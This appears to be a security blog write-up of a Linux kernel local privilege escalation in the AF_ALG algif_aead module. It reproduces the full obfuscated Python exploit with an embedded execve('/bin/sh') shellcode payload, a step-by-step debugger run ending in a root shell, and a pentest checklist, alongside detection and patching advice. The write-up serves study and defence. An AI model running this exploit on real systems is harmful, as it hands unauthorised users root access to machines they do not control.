There’s a bug in the Linux kernel’s AF_ALG crypto module — the subsystem that handles in-kernel encryption. An attacker can trick the kernel into overwriting the page cache of /usr/bin/su while it’s running, replacing what’s in RAM with a tiny program that drops a root shell.
The real file on disk never changes. Antivirus, file-integrity monitors, and sha256sum all see nothing. Reboot the server and the attack disappears like it never happened. That’s why this is called copy-fail — it’s copying bad data into the kernel’s in-memory copy of the file.
Severity: CRITICAL · Target: Linux Kernel
AF_ALG / algif_aead· Impact: Root Shell, No Files on Disk
1. How the Exploit Works
The exploit abuses a flaw in the algif_aead kernel module to perform an out-of-bounds write into the page cache — the kernel’s RAM-resident copy of files currently in use.
The attack chain at a high level:
- Opens the real
subinary read-only - Creates a special AF_ALG crypto socket and binds it to the vulnerable algorithm
- Decompresses a hidden 160-byte ELF payload embedded in the script
- Uses
splice()to pushsu’s pages through a pipe and into the AF_ALG socket - The kernel’s AEAD auth check fails — but not before the out-of-bounds write lands the fake ELF into page cache
- When the user runs
su, Linux executes the fake version from RAM → root shell
Fix / Takeaway: Patch your kernel. If you don’t need algif_aead, unload it immediately with rmmod algif_aead.
2. Environment Setup
SSH into the target as a normal unprivileged user and verify the conditions:
lab_user@coolproductionserver:~$ uname -r
6.8.0-110-generic
lab_user@coolproductionserver:~$ lsmod | grep algif
algif_aead 12288 0
af_alg 32768 1 algif_aead
lab_user@coolproductionserver:~$ ls -la /usr/bin/su
-rwsr-xr-x 1 root root 55680 Mar 6 16:00 /usr/bin/su
lab_user@coolproductionserver:~$ whoami
lab_user
lab_user@coolproductionserver:~$ sudo su
[sudo] password for lab_user:
lab_user is not in the sudoers file.
lab_user@coolproductionserver:~$ id
uid=1001(lab_user) gid=1001(lab_user) groups=1001(lab_user),100(users)
The user has no sudo access and no path to privilege escalation via normal means. algif_aead is loaded and /usr/bin/su has the SUID root bit set — conditions are met.
Fix / Takeaway: Audit loaded kernel modules on all servers with lsmod. Remove anything not actively required.
3. Grabbing and Inspecting the Exploit
curl -sO https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py
One clean Python file. Looks short and harmless — but it isn’t.
The script is deliberately obfuscated:
"g, s, zlib"— obscured variable names hide intent"78da..."— a long hex string that decompresses into a 160-byte ELF binary"c(f, t, c)"— the core exploit function that drives the page-cache write
I’ve found the payload contains exactly:
b'\x7fELF'— a valid Linux ELF header at offset 0, confirming this is a real executable written into RAMexecve("/bin/sh")— the entire payload just drops a shell, inheritingsu’s SUID root bit
Fix / Takeaway: Treat any script that creates raw AF_ALG sockets as extremely suspicious. Detection rules should flag socket(AF_ALG) calls from unprivileged processes.
4. Further Digging: Analyzing the Linux ELF Binary
Before running anything, I took a closer look at the script itself. The full source is short enough to read in one sitting:
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279; v = a.setsockopt
v(h, 1, d('0800010000000010' + '0'*64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4; i = d('00')
u.sendmsg(
[b"A"*4 + c],
[(h, 3, i*4), (h, 2, b'\x10' + i*19), (h, 4, b'\x08' + i*3)],
32768
)
r, w = g.pipe(); n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0); i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c\
160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e5\
6c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e): c(f, i, e[i:i+4]); i += 4
g.system("su")
The imports are deliberately aliased (os as g, socket as s) to obscure intent at a glance. The real action is in that long hex string passed to zlib.decompress(). That caught my attention immediately — it’s a compressed, hex-encoded blob being silently decompressed at runtime. Classic payload staging.
Poking at the Compressed Payload
The hex string starts with 78da — that’s the zlib magic header. Everything after it is opaque until you decompress it. I isolated the payload with a one-liner:
python3 -c '
import zlib
payload_hex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d20\
9a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611\
fcacfa499979fac5190c0c0c0032c310d3"
payload = zlib.decompress(bytes.fromhex(payload_hex))
with open("payload.elf", "wb") as f:
f.write(payload)
print("payload.elf created (160 bytes)")
'
Output: payload.elf created (160 bytes) — and decompressing it revealed this:
ELF>x@@@8@@??1?1??iH?=1?j;X?1?j<X/bin/sh
Broken down into its recognisable parts:
ELF > x @ @ @ 8 @ @ ... ← ELF binary header fragments
j ; X ← syscall instruction sequence
j < X ← syscall instruction sequence
/bin/sh ← target command string
What Each Fragment Means
| Fragment | Meaning |
|---|---|
\x7fELF | ELF magic bytes — confirms this is a valid Linux executable |
j;X / j<X | x86-64 opcode 6A (push imm8) + 58 (pop rax) — sets up syscall numbers |
j opcodes (6A) | Push instructions loading syscall arguments into registers |
/bin/sh | The shell string passed to execve() |
In x86-64 Linux, execve is syscall 59 (0x3b = ; in ASCII). j;X decodes as push 0x3b / pop rax — that’s loading the execve syscall number into rax. The entire 160-byte payload is essentially:
execve("/bin/sh", NULL, NULL);
Compressed, hex-encoded, and staged for injection into page cache.
The Attacker’s Payload Construction Chain (Working Hypothesis)
Based on what I can see, my best guess at how this was assembled is:
- Wrote
execve("/bin/sh")shellcode targeting x86-64 Linux - Compressed it with zlib (producing the
78DAheader) - Hex-encoded the result for safe embedding in a Python string literal
- At runtime: decode hex → decompress → 160-byte ELF lands in memory
- That ELF is then written into
su’s page cache via the AF_ALG trick - CPU executes it in the context of the SUID binary → root shell
⚠️ This is a working hypothesis at this stage. The decompilation confirms the payload is a real ELF with
/bin/shandexecvesyscall setup — but whether the full kernel page-cache injection succeeded as described requires the PDB trace below for confirmation.
Executing the Isolated Payload Directly
I gave payload.elf execute permission and ran it standalone:
chmod +x payload.elf
./payload.elf
It did spawn a shell — but I stayed as lab_user, no privilege escalation. This makes sense: running the ELF directly means it executes as my own user with no special privileges. The SUID root bit that makes this dangerous belongs to /usr/bin/su. Without the kernel page-cache injection trick placing this ELF into su’s execution context, it’s just a 160-byte shell launcher. The exploit’s power comes entirely from where this ELF ends up in memory — not from the ELF itself.
Fix / Takeaway: Isolating and executing the raw payload in a safe context is a good first triage step — it confirms what the payload does without triggering the full exploit chain. Any payload that decompresses to an ELF starting with /bin/sh in a security tool should be treated as shellcode immediately.
5. Full PDB Debugger Walkthrough
I loaded the script under Python’s debugger (pdb) to trace every step before anything dangerous ran.
Step 01 — Load without executing
lab_user@coolproductionserver:~$ python3 -m pdb copy_fail_exp.py
> /home/lab_user/copy_fail_exp.py(2)<module>()
PDB loaded the script but did not run it yet. Nothing dangerous has happened.
Step 02 — Step through function definitions
(Pdb) n
-> def d(x): return bytes.fromhex(x)
(Pdb) n
-> def c(f,t,c):
d()— converts hex to bytes (the payload decoder)c()— the heart of the exploit (covered next)
Step 03 — Payload decompression
-> f=g.open("/usr/bin/su",0); i=0; e=zlib.decompress(d("78daab77..."))
(Pdb) p f
3
(Pdb) p i
0
(Pdb) p len(e)
160
Three things happen at once: su is opened read-only (fd=3), the loop counter starts at 0, and the zlib-compressed payload decompresses to exactly 160 bytes — our fake su, ready for injection.
Step 04 — Confirm ELF magic bytes
(Pdb) p e[0:4]
b'\x7fELF'
\x7fELF is the standard Linux ELF magic. This is what will overwrite the first 4 bytes of su’s page cache in RAM.
Step 05 — Break inside the exploit function
(Pdb) b 5
(Pdb) c
> copy_fail_exp.py(5)c()
(Pdb) a
f = 3
t = 0
c = b'\x7fELF'
f=3 is the file descriptor of the real /usr/bin/su. t=0 is offset zero. c is the first 4-byte chunk being written.
Step 06 — The trigger fires
Hitting n executes the full chain:
- AF_ALG crypto socket created and bound to the vulnerable algorithm
- Kernel accepts the connection
\x7fELFis sent into the kernel- A pipe is created;
su’s pages are spliced into the pipe, then from the pipe into AF_ALG - This is the trigger. The out-of-bounds write occurs and
\x7fELFlands in page cache.
Step 07 — The “error” is actually success
OSError: [Errno 74] Bad message
This looks like a failure but it is the success condition. AEAD authentication failed because memory is now corrupted — which confirms the write landed. The except block silently swallows the error and the loop continues.
Step 08–09 — Loop progress
(Pdb) p i
4
i advances from 0 to 4 — 4 bytes written, 156 remaining. The loop will run 40 iterations total (160 bytes ÷ 4 bytes per chunk).
Step 10–11 — Disable breakpoint and detonate
disable 1
c
# id
uid=0(root) gid=1001(lab_user) groups=1001(lab_user),100(users)
#
The fake ELF ran execve("/bin/sh") and inherited the SUID root bit from su. Full root shell as a non-sudo user.
Fix / Takeaway: Monitor for OSError: [Errno 74] originating from processes using AF_ALG sockets. That pattern in combination with splice() calls to SUID binaries is a strong detection signal.
5. Proof the Disk Was Never Touched
# Before exploit
lab_user@coolproductionserver:~$ sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be76e403390d27a91ed5f179be9 /usr/bin/su
# After exploit (from root shell)
# sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be76e403390d27a91ed5f179be9 /usr/bin/su
Identical SHA256 hash before and after. The real /usr/bin/su on disk is completely untouched. Only the in-memory page cache was modified. Reboot and everything returns to normal.
I still find production systems where:
algif_aeadis loaded because it shipped enabled in the default kernel config- File-integrity monitoring is the only detection layer, missing in-memory attacks entirely
- Kernel patching cadence is months behind upstream
A single lsmod | grep algif_aead will tell you immediately if a system is exposed.
Fix / Takeaway: File-integrity monitoring alone is insufficient against fileless attacks. Pair it with kernel-level telemetry (eBPF, auditd syscall tracing) to catch page-cache manipulation.
What to do on every Linux privilege-escalation engagement
Here’s my standard checklist when I encounter a kernel exploit opportunity like this in scope:
- Check the kernel version. Run
uname -rand cross-reference against the CVE’s affected range before doing anything else. - Confirm the vulnerable module is loaded.
lsmod | grep algif_aead— if it’s not present, move on. - Verify the SUID target exists.
ls -la /usr/bin/su— confirm the bit is set and the binary is present. - Baseline the hash before touching anything.
sha256sum /usr/bin/su— document it for the report. - Step through the exploit in pdb first. Never run unknown PoC code blindly. Understand every syscall before you pull the trigger in a client environment.
- Capture the root shell and
idoutput. Screenshot and terminal log both — clients need irrefutable proof. - Verify the hash is unchanged post-exploit. Demonstrate the fileless nature explicitly; this is usually the most surprising finding for defenders.
The fix layer
This is one of the cleanest fileless root exploits ever documented. Almost every risk factor above comes from one root cause: the kernel trusted attacker-controlled data passed through a crypto socket to perform writes into file-backed page cache without sufficient bounds checking. The SUID chain then turns a kernel memory corruption into an instant privilege escalation.
If you’re a developer or kernel contributor: the fix is in bounds validation within algif_aead’s sendmsg path before any splice-based transfer touches file-backed pages. Apply the upstream patch and test with the PoC before declaring fixed.
If you’re a defender: log all AF_ALG socket creation events via auditd (-a always,exit -F arch=b64 -S socket -F a0=38). Alert on any unprivileged process that opens an AF_ALG socket and opens a SUID binary in the same process lifetime. A reboot-based persistence check (hash before vs. hash after reboot) can also confirm whether an attack occurred.
References
- Linux Kernel AF_ALG Documentation — Background on the AF_ALG interface and its intended use.
- Dirty Pipe (CVE-2022-0847) — The closest prior art; also abuses pipe + splice to corrupt page cache. Essential reading for understanding the primitive.
- theori-io/copy-fail-CVE-2026-31431 (GitHub) — Original PoC referenced in this analysis.
If you want a kernel hardening or privilege-escalation review, get in touch.